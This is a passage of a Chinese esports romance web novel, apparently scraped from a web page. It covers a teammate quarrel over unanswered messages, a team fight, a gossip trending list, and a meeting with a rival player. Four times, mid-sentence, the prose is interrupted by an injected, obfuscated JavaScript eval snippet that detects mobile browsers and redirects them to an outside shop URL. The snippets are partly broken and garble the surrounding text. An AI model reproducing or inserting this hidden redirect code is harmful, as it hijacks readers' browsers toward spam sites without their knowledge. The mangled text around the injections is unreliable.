零落昨天傍晚在群里跟他说,今天早上会给他复盘和讲解一下自己前天比赛的问题。 确认好自己训练装备都拿齐了,夜雨辰一回头,突然被吓了一个激灵。 一个高大的人影没发出任何声响地站在房门口。 就这么倚靠在门板上,双手抱胸静静地看着他。 不知道看了多久。 夜雨辰下意识看向郁秋的床,再把视线放回了他身上。 房间的光线太过昏暗,他现在根本看不清郁秋脸上的表情,但不知道为什么,他心底隐隐约约升起一股不太好的预感,后背有些发凉。 两个人在黑暗里默默对视着。 直觉告诉他,郁秋此刻的心情似乎不太好。 夜雨辰小心翼翼地试探道:“我动静太大了?” 是被吵醒了,起床气吗? 郁秋摇摇头:“没。” 夜雨辰不禁有些疑惑:“那你继续睡?” 说着,他走到郁秋面前,不顾对方站在那,将手伸向门把。 突然,他的手腕猝不及防地被一把抓住,一股不小的拉力顺势带着他的手臂往上一抬,与此同时,他肩膀的另一侧被郁秋一掰,下一秒,他眼前一花,等他反应过来时,后背已然靠在了刚刚郁秋站着的位置上。 而他面前,正有一个人压着他。 夜雨辰皱起眉,抬眸看向郁秋近在咫尺的脸,心脏下意识漏跳了一拍,但面上依旧维持着冷静。他并带着一丝怒意地质问道:“你干什么?没睡醒?” 他的一只手正被举在头顶压在门板上,而另一只手因为拿着手机和训练机,所以根本没办法推开郁秋。 “夜雨辰。” 郁秋喉结滚了滚,眸里的情绪晦暗不明,踌躇了许久后,他哑声道,“你这两天,为什么冷暴力我?” “。” 沉默了许久后,夜雨辰似乎是想起了什么,怒意瞬间烟消云散,取而代之的是有些飘忽不定的眼神,有些没底气道,“我应该……没有吧?” 郁秋冷哼一声,拿出自己的手机,十分熟练地调出和夜雨辰的微信聊天界面顺便调暗手机光线,然后才摆到对方的跟前:“解释?” 看着这一整个屏幕的聊天记录,夜雨辰哑声了。 整个屏幕上,从前天晚上一直持续到到现在,只有一个人发了消息,而对面的聊天对象没有回任何一句消息,甚至没有一个标点符号—— 最早的消息,是比赛结束那天,夜雨辰刚采访结束后没几分钟。 【Q:零落说你回家了?注意安全。】 【Q:下次你想回家可以提前和我说一声,我们大巴可以顺路把你放在车站的,更方便打车或坐地铁一点。】 几个小时后,凌晨,郁秋又发了几条消息。 【Q:你这次比赛发挥得很好,别理网上那些找茬的,战队公关处理的差不多了,不用去看。】 【Q:明天下午第二场的比赛记得重点关注,都是我们下周的对手。】 接着便是昨天中午的消息。 【Q:你什么时候回来?】 【Q:这是我们昨晚复盘的一些资料,你可以先看看。】 【Q:[文件].pdf】 而最底下的消息,是昨天晚上的,很明显郁秋似乎有些怒意了。 【Q:夜雨辰,你在战队群说话也不回我一个消息?】 【Q:疑惑.jpg】 “…………” 看完记录的夜雨辰下意识的像个知错的孩子,心虚地低下头。 郁秋见对方的反应,哑声问道:“你在躲我?” 夜雨辰嗫嚅道:“没有。” 郁秋:“接近48个小时,这么多条消息你一条都没看到?” 夜雨辰斟酌了许久,才开始底气不足地答道:“车上不看手机,会晕车,你的消息被刷下去了,没看到。” 郁秋没有给出回应,只是静静地看着夜雨辰的反应,以及听着对方的狡,啊不,解释。 夜雨辰有些艰难地开口道:“其他的……” 印象里,他还是回复了几条消息的,比如说让他别理网上找茬的,和什么时候回基地。 但为什么现在记录上空无一物? 他现在疯狂地回忆着。 劝他网上别找茬的话语,他本来想好要怎么回了,但是突然就想到父母跟他说的“像平常一样对郁秋就好了”。 所以他一直在思索,自己怎么回消息会像自己平常对他,想着想着就睡着了…… 突然,夜雨辰一愣。 对啊,他干嘛要这么下意识的傻愣愣地一一解释?他平常应该不会这样才对。 他倏地一下抬眸,在对上郁秋的双眸刹那,刚准备强硬一些开口,就注意到了对方眸底深处波动着的夹杂着困意的委屈。 “。” 夜雨辰的气势不禁又弱了下来。 他迅速瞥开视线,干巴巴道,“你能不能先放开我?我手被举得好酸。” 没得到答案的郁秋有些不情不愿地松开了手。 夜雨辰放下自己的手机,边活动着自己的手腕,坐到了自己的床上,简单答道:“没看到消息,所以没回,抱歉。” 郁秋明显没信:“你在群里第一时间回零落后,我就给你发消息了。” 夜雨辰拿出自己的手机,看着郁秋一个人孤零零的聊天记录以及对应的时间,回想着自己昨天干的事情,有些尴尬地解释道:“昨天太累了,群里的消息刚刚好上车准备放下手机,所以回完零落的消息我就睡觉了。” 郁秋挑眉:“你昨天去干什么了?” 夜雨辰淡淡道:“和父母去爬山。” 对夜雨辰来说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122423|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨天毕竟算个假期,所以他这两天早睡早起,和父母一起自驾去隔壁城市爬山放松解压,而在路上的他会以睡觉补觉为主,几乎不会去看一眼手机的消息。 中午郁秋的消息,刚刚好是他爬到山顶休息的时候。他看到了郁秋的消息,刚准备回就被他爸妈叫走了,所以他以为他回了消息,就再也没打开微信,专注地玩山上的活动了。 而傍晚战队的那条消息,是他刚上车累得不行的时候。零落艾特他说今天会给他单独复盘讲解一下,所以他随便敷衍了一下便累得关了手机,回到家也是迅速洗漱完倒头就睡。 这也是为什么夜雨辰会在今天上午回基地的原因之一,他要趁着这个时间,赶紧补补昨天没看的未来对手的比赛。 郁秋躺回自己床上,面对着墙,闷闷道:“哦,那好吧,你去忙吧,我继续睡了。” “……” 看着郁秋这副受到委屈但又说不出口的模样,夜雨辰突然就有些于心不忍。 何况思来想去,不论什么原因,自己已读不回这些消息,确实是不对的。 他默默地拿起自己手机,把郁秋的聊天框设置成“置顶”,确保自己下次不会意念回复后,看着郁秋小心翼翼地问道:“作为歉意,我答应你一个条件?” 郁秋一愣,立马清醒地坐起身看向夜雨辰,眼里满是诧异:“什么什么条件?” 夜雨辰思索了一会:“你说什么我就做什么那种?前提是有底线,不能太过分。” 郁秋问道:“一定要现在提吗?” 夜雨辰摇头:“随时。” “……”郁秋思索了很久,突然问了一个毫不相关的话题,“你为什么突然要回家?” 夜雨辰被这个突如其来的问题问地一愣:“比赛上没发挥出自己真实水平,有些自责,脑子也乱,所以回家找办法放松放松、冷静冷静。” 还有一个难以启齿的答案是为了躲郁秋。 郁秋不由得有些好奇:“那你是用什么办法冷静下来的?” 夜雨辰眨了眨眼:“昨天上山顶后,玩了两次蹦极、还有岩壁攀岩、走高空玻璃栈桥那些,然后就完全冷静下来了。” “…………” 郁秋的脸色霎时变得有些苍白。 但因为房间光线太暗,夜雨辰全然没察觉到郁秋的脸上失去了血色,问道:“其实这个方法还挺好用,所以我现在打算以后每场比赛完打算都去找类似的活动冷静,你要跟我一起吗?” 郁秋僵硬地笑道:“这个还是不,不了。” 见郁秋现在的情绪明显比刚刚好了不少,夜雨辰瞅了眼现在的时间,又回想了一下郁秋平常一般的凌晨作息,说道:“现在还早,你也不用急着现在提出这个条件,你先好好补觉吧,我不打扰你了,去补昨天他们的比赛视频。” 说着,他便站起身,带着自己的所有设备走出房门。在刚跨出房间门半步,他突然想起来了一件事,转头对郁秋问道,“对了郁秋,你会做饭吗?” 郁秋感到疑惑:“不会,怎么了?” “……”夜雨辰沉默了片刻才若无其事道,“没事。” 说完,他便迅速关好门上了楼。 完了。 87.吵架 时光飞逝,各战队的比赛如期进行着。 偌大的赛场,舞台正中央的大屏幕,两边战队打得如火如荼。 这时,暴君龙再次刷新。哪个队伍击杀这条龙,就会有更大的机会获得这把的胜利。 此时,CM的五人正在尝试着挤出河道视野,而JYY的正面战场却只有中辅二人。 夜雨辰看着紧紧相逼他的对面两个大前排,边往后拉开身位,确保自己的站位不会被对手开到,边跟队友报着信息:“正面50,对面视野全漏。” Qian蹲在他撤退的道路上,一个特别容易被忽视的小草里蓄势待发:“我要开了,能跟吗?” 开开迅速道:“开开开开开!我来了兄弟!能跟能跟!干死他们!” “留人,看我位置,能跟。” 郁秋不知什么时候绕到了CM的后方位置。 One兴奋地向战场奔去:“来了老弟!” 听着队友的信号,夜雨辰迅速瞥了一眼小地图,在看到全部队友的位置后:“打。” 语罢,他便突然停下后撤的脚步,当着CM五人的面回头面对他们了一下。就这一个动作,他便被CM的人拉近了身位,成功进入追着他二人的技能范围内。 Qian在一旁的草丛看到夜雨辰的站位已经进入危险地带,即将独自面对CM的进攻范围时,面色一凝。 CM五人同样也注意到了夜雨辰的走位上的失误,脑子里更加激动,不假思索地便闪现冲上前用技能去开他,完全不给他有逃跑的机会。 等敌人闪到了自己脸上、夜雨辰的西施在对面技能快砸到自己身上的前零点几秒,他像才反应过来自己没把控好和敌方的安全距离,慌乱地甩出自己的控制技能,碰巧砸到了CM开他的边辅二人身上,给自己创造了一个喘息逃跑的机会。 他趁着这一刹那的间隙,立马使用金身停在原地,成功规避了这两人的开团控制技能。 但CM二人的边辅被控时间也比夜雨辰的金身时间提前一秒整结束,所以,夜雨辰这个位置使用金身,和原地等死没区别。 这时,CM的中野二人也恰好赶到了边辅二人身边,很明显,CM一整队的人并不打算让把人头送到脸上的夜雨辰在现在活下来。等金身时间一过,他们就会用一套连招技能给夜雨辰带走,让JYY的团战率先少个C位。 在夜雨辰金身即将结束的刹那,对面四人已经迫不及待地一齐向他扑了过去。 突然,四人原地一怔。 Qian的太乙从一旁的草丛闪了出来,成功将这四个人控制在原地造成眩晕,成功拆火了CM的技能释放。开开的狂铁趁着Qian控制住对手的这两秒里,从CM的侧边A闪进场衔接控制,将对面的被控在原地的时间延长,One在这时从夜雨辰的身后跑出来,在保证自己站位和对面是安全距离的情况下不停输出着。 接连数秒的控bo让CM的四人根本无法动弹,最关键的是,他们能反抗的技能刚刚全数试图甩在了夜雨辰身上,技能全进入了真空期。所以现在,他们只能眼睁睁地看着发育成型的One的恐怖伤害砸在自己身上。 CM的中单身为一个脆皮,是第一个祭天的,其余三人接连暴毙,或仅剩残血苟延残喘。 这个全程不过一眨眼,就只剩下CM的射手独苗存活了。 他的站位因为靠在特别后排,所以并没有被JYY第一时间开到。 可他也只能就这么看着自己上头冲动的队友一个个阵亡。这数秒里,他试图打出一点输出,但是他的队友根本没给他创造安全的输出环境,所以根本打不了多少伤害。 何况,JYY还有一个绕后位。 就在这射手鲁班边打输出边往后撤时,他的退路突然出现了一只郁秋。 不过,作为常年被针对的射手老将,他一直捏死着自己的保命技能和闪现。 他吃到郁秋老虎伤害的第一时间便只剩下半血不到,但他丝毫不慌张,而是靠着瞬间的反应,闪现二技能贴脸控制住郁秋,把他的连招斩杀打断并推开,顺便在这数秒内打出两次扫射爆炸输出,试图反杀郁秋。 这两次扫射下来,郁秋的血条变得像张白纸一样薄,血条瞬间蒸发。 郁秋在第一时间便意识到了这个射手的杀欲,在被控的瞬间,他以迅雷不及掩耳的速度将鞋子卖出换成名刀,确保自己的存活。 在他拖住射手的这几秒,JYY其余人一解决CM的其余四人就一齐上来解决了这个独苗射手。 【Aced!】 主持人看着屏幕上的团灭镜头,游戏还未结束,他便高声激昂道:“0换5!这真是一波酣畅淋漓的团战!让我们提前恭喜JYY以2:1的成绩战胜CM!” “兄弟们牛逼!” 水晶还没爆炸,开开情不自禁将手机高举过头,仿佛下一秒就忍不住想激动地摔出手机。他完全没办法压抑住激动,兴奋地向水晶奔去,“史诗级完美配合!一波一波一波!” 在推完水晶的刹那,One直接耳机一甩站起身,挥了个拳:“爽!” Qian一蹬椅子站起身,昂首挺胸地对着摄像头整理着自己的着装,神情无一不在告知所有观众——看,哥开得完美团战。 夜雨辰倒是一脸平静地摘下耳机,就像这把游戏的输赢和他完全无关似的,但眼里满是“一切尽在掌握”的自信从容的光芒。 这时,他的旁边突然伸来了一个掌心。 夜雨辰:“?” 他疑惑地偏头看向伸来手的人。 郁秋微笑道:“这波卖得好。” 虽然不知道对手和观众怎么看待刚刚那波夜雨辰的情况,也不知道主持人是不是在那高声感叹夜雨辰走位失误,但JYY的所有人都看得出来,夜雨辰被对面开团才没有走位失误,只是他自己打算卖个破绽给对面而已。 夜雨辰低下头,将自己再也压不住上扬的嘴角压进黑暗里,抬手搭进郁秋的掌心一拍:“你也是,绕得好。” * JYY离开比赛场的时候,开开的状态还是没有从刚刚热血的团战配合抽出来,他一蹦一跳地往前走着,一边忍不住挥着拳道:“太爽了,我从没在赛场上打过这么完美、没有人失误的团战。” Qian嗤笑一声:“你也就这点出息了。” 零落无奈笑道:“低调点,还在赛场呢。” One看着到处乱蹿的开开,双手抱胸洋洋得意道:“多亏我,全靠我的输出让对面完全扛不住我伤害。” 夜雨辰哼了一声:“不是全靠我骗了他们技能吗,不然你哪来这么舒服的输出环境?” Qian严肃道:“不对,我才是最大功臣,我留住了对面四个人。” 郁秋明显也不服:“明明是我的功劳,我把对面唯一的输出点盯死了,整个团战压迫得他完全没输出点,其他四个人哪来的伤害?” “停停停!别吵了!”开开直接打断他们所有人的争论,拍拍胸脯道,“让本MVP发言,我的A闪技巧可是在训练营练了好几个小时才熟能生巧地,不然对面还有喘息反抗的间隙呢!” 零落在一旁鼓掌道:“是的是的,所以看在你这么厉害的份上,MVP今晚请个客不过分吧?” 听闻,其他四人瞬间不争抢这个功臣之位,附和教练道:“同意,最秀的那个人请客。” 见大家瞬间变脸,开开的面色一曲,上面胜利的喜悦瞬间消失殆尽,拒绝道:“我不——” “我都说了对面其他人没漏视野,你们别冲动别冲动,你们这么急干什么?有上头成这样的吗?这不就是在给他们送吗?” 突然,一道怒骂声隔着门传进了JYY众人的耳朵里。 那个人继续骂道:“你辅助玩个鲁大跑到前排干嘛?‘父子组合’不就是以围着我打为主,开团往前挤视野的事情不是他夏侯的本分?然后为什么你边路玩个战士也要顶在最前面?对面狂铁都会侧面进场,你就只会傻乎乎的打正面吗?中单也是,你就不能站我旁边帮我拆火一下对面打野吗?冲那么前你是前排吗?你们一个个都在急什么?送外卖啊?” 开开怔在原地眨了眨眼:“哇哦。” Qian低笑两声:“犀利。” 夜雨辰往旁边的门一瞥,才发现原来他们正好路过了CM的后台休息室了。 里面又陆陆续续地传出其他几道声音。 一人歉意道:“哎呀麻将,你不要急,吵架解决不了问题的,我们的错,是我们的错,但我们要静下心来好好讨论问题并解决才是,而且你也被对面打野抓到了不是吗?” 另一道声音接着道:“就是,所以大家谁也别说谁了,而且输一轮而已,我们上轮又不是没赢,常规赛输一把问题又不大。” 第三个人:“大家都是队友,要和和气气的嘛,不要吵架不要吵架,我们知道错了。” 麻将冷笑一声:“和气?我在无理取闹的意思?” “对啊,咱们队内和和气气的多好,吵架多伤咱们感情,所以不要吵架。” “哈?” 下一秒,CM的休息室门“唰”的一下被打开。 JYY众人看着满脸怒色的麻将从他们战队的休息室里怒气冲冲地跑了出来,并用力地把门摔上。 麻将一抬眸,便看到了JYY六人的各种复杂目光全数落在了他的身上,但他一点也没感受到尴尬,只是礼貌性的朝他们点了个头,就迅速跑开了。 夜雨辰有点懵:“他这是——唔!” 话还没说完,郁秋便一把从他身后捂住他的嘴:“回去说,这里不适合,隔墙有耳。” 提醒完,他便松开了手。 零落看着夜雨辰,对郁秋的说法点了点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145684|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “走吧。” 一上回酒店的大巴车,开开和One就没忍住率先爆笑出声,Qian也没忍住在那憋笑。 One大笑道:“笑死我了,‘和和气气’,亏他们说得出来这种话,我要是麻将直接当场翻脸了。” 夜雨辰倒是没领到他们的笑点,疑惑道:“我们第二把输的时候,零落拦着我们吵架难道不是为了战队‘和气’吗?” “才不是。”开开哭笑不得,“因为刚刚那个时间点休息时间就十分钟不到,吵个架大家情绪都下不去直接影响下一把的比赛,所以零落才会拦着,但他好歹也给了我们发泄几分钟情绪的时间嘛。” 郁秋耸耸肩:“战队人员关系本就该和和气气,但是遇到问题的时候吵个架也没啥,大家分歧不同引发争议是件很正常的事情。” Qian直接给夜雨辰举了个特别简单的例子:“你知道小柯和希楠的关系吧?但之前我们一队的时候,每次比赛一输,他们俩一定是吵得最大声的俩人。” One点了点头,一回忆起他们俩的争吵声,他就没忍住挖了挖自己的耳朵:“他们俩那分贝,把我耳朵震得疼死了。” “麻将太可怜了。”开开无奈道,“怪我们太强,结果被不听指挥的队友指责在无理取闹,所以我是真的看不起这种自诩‘为了战队和气少吵架’的人。” 夜雨辰挑了挑眉:“我只觉得,刚刚他们吵的内容,麻将挺憋屈的?” 作为麻将这三把局的对手,夜雨辰十分明白对方这三把里几乎没有一个失误,结果刚刚居然被全程在犯错的队友指责无理取闹。 麻将这发飙发的,就像一拳打在了棉花上。 零落悠悠道:“所以说,比赛打完后一轮后,游戏有分歧该吵就吵,反正正常人吵架都不会牵扯到人身攻击,嗯对,就像你之前训练赛时常常和郁秋思路有分歧然后吵起来那种,放心,这种你们现在吵都可以,我不会拦着。” Qian冷哼一声:“打出这么爽的团战,庆祝都来不及,哪还有时间吵架?” One摆了摆手,和夜雨辰解释道:“其实这个游戏很多玩家发生争吵都是因为想赢,但游戏思路出现了很大的分歧。所以打个游戏吵吵架多正常?其实你别看所有战队表面上输了还和和气气的,这些只是不能给媒体捕捉到罢了,这种现象在后台都司空见惯了,以前我还见过那种打起来的现在照样在做好兄弟,当然,肢体语言还是不要学。” 开开双手抱胸,不屑道:“所以不人身攻击的语言我都觉得没什么问题,大家只是都想赢而已,但有些人老是一味地无脑宣扬‘和和气气’,我是发现了,他们的重心都不放在赢上面,都想着杂七杂八的事情,表面和和气气,背地一套又一套,还爱各种嘲讽对手,真的很讨厌。” 说着,他就小声嘟囔道:“就比如后天的对手,嘴杂死了,活该他们炸队。” 夜雨辰挑眉:“炸队?QYG?” 他没记错的话,后天的对手就是QYG战队。 郁秋提醒道:“之前在深圳上课还记得不?素质课里,他们五个人都在,但他们坐的位置间隔都很开。” 夜雨辰瞬间想起来了。 小柯还特地跟他讲过这五个人关系,好像一个战队分成了什么‘221’的小团体来着? Qian对这个战队也没什么好印象:“B组的瘤子,活该炸队,上赛季我们掉B组,他们把我们赢了,直接当着许多工作人员和观众的面在场外当场羞辱我们,一点素质都没有,好在邱子幸还有点人样,在乎自己的脸面,所以把这些羞辱镜头给删禁止播出。” One惊叹道:“居然还有这档子事?你和QYG也没仇吧?” “当然没有,但他们就是在镜头下大放厥词,但没办法,输了就是输了,我们也不好现场翻脸。”零落叹了口气,但又瞬间换上一抹幸灾乐祸的模样,“但他们这个假期炸队也是自己活该。” 郁秋耸耸肩,好笑道:“把自己玩脱了。” 夜雨辰听着更一头雾水了:“你们知道他们为什么炸队?” 小柯只跟他说过他们战队关系不好,但具体原因他从没去专门了解过。 “当然知道了,整个联盟的战队几乎都知道这档子事,你居然不知道吗?”开开一脸震惊的看着夜雨辰,“你平常难道不上网刷视频吗?他们战队的节奏到现在都有风声呢。” 夜雨辰有些懵:“不多,偶尔。” 而且按照他们的说法,他那时候就在专注准备冲青训营成绩的第一和游戏的全国第一。 “害。”开开顿时一脸恨铁不成钢的模样看着夜雨辰,“Night,你有时候就不能多去上上网,了解时事,少专注点工作上的成绩内卷吗?不然哪天你被网暴了都察觉不到。” 他一脸‘惋惜’地啧啧道:“QYG队内的爱恨情仇故事,谁听都忍不住膜拜啊。” 88.【插播!】 电竞周报负责人覃雨霜:S17赛季职业联赛已经开赛一周,上周话题热度排行榜单统计如下—— 【1.沦陷投降】(爆) 【最热评:你们营销号有完没完?一个综艺小游戏都要取这样的标题博眼球,知不知道投降这两个字对职业选手是很敏感的词啊?吓死个人。】 【2.惊!‘队霸中单’子幸竟荣获首胜场MVP?!】(热) 【最热评:不是吧,邱大少爷又双叒叕买热搜了?混的一个MVP有必要来热搜第二晃眼吗?】 【3.虞你相希场上相拥】(爆) 【最热评:啊啊啊我愿意献祭我仇人的二十年寿命换我家产品在台上亲一个!】 【4.巅峰赛 QYG中野对骂】(热) 【最热评:啧啧啧,这个队这几周怎么天天在游戏里吵上热搜?】 【5.被对手痛击,Night独自逃离现场!】 【最热评:这是玩太菜了被队友骂哭到跑路了吧?】 【6.机场偶遇Eagle全员】(热) 【最热评:高冷战队真是太Man了!是谁羡慕了我不说,我也想偶遇偶像,接接接!】 【7.风行力挽狂澜 四杀!】(热) 【最热评:风行在天上失禁地看着自己的队友!把他放在A组打比赛真是屈才了。】 【8.车长你又犯病了!!!】(热) 【最热评:车长你的队友只迟到了一秒钟!一秒钟!给他们在赛后采访上留点面子啦!/笑哭/笑哭,UM真是买了个奇葩选手】 【9.Night评分第五】(热)35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151868|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【最热评:赛前采访还以为实力多硬呢,结果这周场上怎么把把评分第五?虚张声势。】 【10.乌宁首秀】 【最热评:新人弟弟又强又可爱的,就是看上去ii的。】 【11.SupS二连胜】 【最热评:这个新来的射手跟凌元都好C,把把瞬杀比赛,感觉SupS这赛季肯定会有出色的成绩!】 【12.IN新女友】(热) 【最热评:是我失忆了吗?我怎么记得上周看到的不是这个女生啊?我记错了?】 【13.怎么这周没人议论Qiu了?】 【最热评:前几个赛季他比赛完不都能看到铺天盖地的和他有关的词条吗?但这几天居然没刷到,突然有点不适应。】 【...】 89.欺软怕硬 两天后,JYY位于洛阳——QYG的主场进行比赛。 零落在大巴车上一副郑重其事的模样:“我再说一遍,不管你们听到的这个战队的队员关系究竟如何,比赛台上,赛场就是赛场,所以你们必须全力以赴,不允许因为这一点出现任何轻敌的心态。” 开开抠了抠耳朵,不以为意:“哎呀,知道了知道了,这两天你叨叨这句话到我耳朵都生茧子了。” 其他人倒是没有他那么不耐烦的模样,只是点了点头表示自己听到了。 夜雨辰也没有说什么其他话。 零落一上车就开始叨叨了,所以他全程都百无聊赖地听着,目光也一直放在窗外的这个城市的风景建筑上——矗立的铁塔、远处建筑的飞檐翘角…… 因为QYG的队内关系再这么复杂,也不关他的事情。 特别是认真看完嘉辉给他“简述”的那段话后,其中蕴含着的信息量已经复杂到几乎完全打消他去深度思考这个战队内部关系的细节了。 而且—— 一到比赛场的后台,他看着所有队员陆续从后门进去,他不假思索地把自己带的背包塞给了郁秋:“帮我先拿进去,我过会再进去。” 郁秋下意识接过这突然塞进手里的包裹,但面上明显有些没反应过来夜雨辰这突然的行为。他有些疑惑地上下打量了夜雨辰的面色一会,才开口问道:“你不舒服?” 他才发现,夜雨辰此刻的脸色略微有些苍白。 “没事。”夜雨辰揉了揉自己的太阳穴,“水土不服,有点晕车,我一个人在外面呆一会,过会进去。” 前天打CM的时候在江西南昌,但这个赛程安排太紧了,而且上场的时间都在下午,所以昨天JYY全员不得不马不停蹄地赶飞机,从南昌到河南洛阳。 南北方的环境还是存在着一些细微的差异,让夜雨辰的身体没那么快适应过来,所以他很难得的在大巴车上啥也没干就犯恶心了。 郁秋恍然大悟:“那过会签到叫你。” QYG的主场后门不远处有一片小树林,夜雨辰独自在这个小树林里呼吸着新鲜空气,四处踱步了会。等终于稍微缓过来了一会,他就随便找了个长椅坐在上面放空着思绪。 没过多久,夜雨辰突然注意到有个看上去和他差不多大的青年直直地朝着他这个方向走了过来。 但这人又像是完全没察觉到夜雨辰的存在一样,直接走到了他坐的这条长椅前,一屁股坐在了他的旁边,垂头扶额,以一副思考者的姿势坐着。 “……” 不知道为什么,夜雨辰的右眼下因此意识地跳了一下,心里升起一股不太好的预感。 这片小树林的长椅数目说多不多,说少不少。而且,现在的小树林里几乎没什么人,所以附近离他不远的长椅都是空空如也,但他旁边这个人就这么好巧不巧地坐在了有人的长椅上。 最关键的是—— 他不经意地瞥一眼这人身上的衣服,再看了看自己身上穿的队服,更加确认了。 旁边这个青年穿的队服还是一会的对手——QYG的队员。 所以,他心底里完全不信这个人没认出自己是过会的对手。 想到这,夜雨辰不禁往旁边挪了挪,拉开了一点和这人的距离。 总觉得这人在这个时间点坐在自己身边,没安什么好心。 两个人就这么静静地坐在长椅上,但谁都没有互相搭话,也没有任何举动。 五分钟后,见对方没做出任何举动,夜雨辰心底里不禁隐隐升起一股随意以恶意的心态揣测他人的愧疚。 “唉。” 突然,就在这时,QYG的这个青年叹了声气,声音不大不小,夜雨辰刚刚好能听到。 夜雨辰一顿:“……” 但他没有做出任何反应,甚至没有看身边的这个人一眼。 少年接着再叹了口气:“唉。” 夜雨辰:“……” 依旧不为所动,一个眼神都没投过去。 “唉!” 这次的声音,比以往大了很多倍。 “…………” 夜雨辰直接站起身,准备离开。 “欸,不是哥们?”下一秒,他的手臂就立马被青年抓住了。青年感到十分不解,“你听我叹了这么多口气,就没有任何慰问我一下的想法吗?” “?” 夜雨辰回头将目光放在自己的手腕上片刻,然后再抬眸看着这个抓着自己手臂的人。 那人一对上夜雨辰冰冷的眼神,立马有些慌乱地松开了手。 夜雨辰冷哼一声,似是有点嫌弃地甩了甩自己的手腕:“是我让你叹气的?” 少年支支吾吾道:“不..不是。” 夜雨辰有些无语:“那你叹气关我什么事?” 他有必要为此做出什么反应吗? “……”那人面色扭曲了下,然后再次重重叹了口气,然后满是恳求地看着夜雨辰,“是我想被慰问一下,是我想被关心,哥,算我求你了,听我说会可以吗?” 夜雨辰皱起眉,直接瞥开对方投来的视线,丝毫没有任何同情心道:“你选错对象了,你应该找你自己队里的人倾诉。” 而不是在赛前一小时不到的时间找自己的对手发牢骚。 青年顿时委屈了起来:“我也想啊,但我们战队现在的情况,教练和上层都管不住他们,所以求你听我说会吧,反正过会的比赛,我保证你们一定会赢。” 听到这句话,夜雨辰面色瞬间严肃了起来:“什么意思?” 少年被夜雨辰突然的反应吓了一大跳,急忙解释道:“不是我要打假赛的意思,只是我们队现在已经没救了,赛场上他们都已经完全无法信任队友,所以你们肯定可以轻松拿下他们。” “哦。” 听着对方没有打假赛的想法,夜雨辰顿时松了一口气,转身就走。 少年立马追了上去:“别走啊哥们,求你了,看在我们是同事的份上你就听我说上一两句话吧。” 夜雨辰充耳不闻,头也不回地快步走着。 要不是看在同事的份上,他早就骂人了。 哪还会给对方这么多的时间黏在自己旁边哔哔? 果然右眼跳灾,那个少年见夜雨辰没有不耐烦地赶他骂他,直接开始叨叨道:“唉,我们炸队都怪许诺,他非要多——” 突然,他的话一顿。 夜雨辰完全没去关注这人的声音戛然而止。 但他也知道原因。 他面不改色地看着朝着自己走来的人。 “夜雨辰。” 郁秋双手插兜,目光全程放在了夜雨辰的身上,看也不看QYG的那人一眼,“签到了。” 夜雨辰点点头:“好。” 接着,他立马拉起郁秋的手,加快了脚步带着他离开这里,迅速远离了QYG这个人。 等走进后台场地,夜雨辰回头看了一眼确认那个人并没有死缠烂打上来,稍稍松一口气。 郁秋是第一次见到夜雨辰如此匆忙的模样,垂眸意味深长地看了一眼自己被抓住的手腕,再抬眸看向对方,没忍住好笑道:“那人跟你说了什么让你一副避瘟神的模样。” “没说什么。”夜雨辰嫌弃似的丢开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157954|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郁秋的手,没好气道:“和他不熟,没有听陌生人吐黑泥的义务。” 闻言,郁秋脸上的笑容变得有些意味不明:“你真听了?” “谁会比赛前听对手发牢骚?”夜雨辰翻了个白眼,往战队的休息室方向走去,“我没赶他,他就自顾自地讲起来了,刚讲了一句你就来了。” 说到这,他心里就不禁暗暗吐槽。 而且这人说的话,听着就让人感到不太舒服。 明明这个青年和他队友都身处一个战队,但他口中都是一口一个“他们”,给夜雨辰一种这人完全把炸队的原因全都归咎在其他队友的身上,炸队和他完全没关系,包括队内现在比赛上不和谐的问题也不管他的事,他完全只是个受害者的感觉。 “哈哈。” 郁秋再也没忍住笑出了声。 夜雨辰有些疑惑地回头看了过去。 只见郁秋笑道:“夜雨辰,你知道为什么他一开始一直缠着你,现在却没跟上来吗?” 夜雨辰摇了摇头。 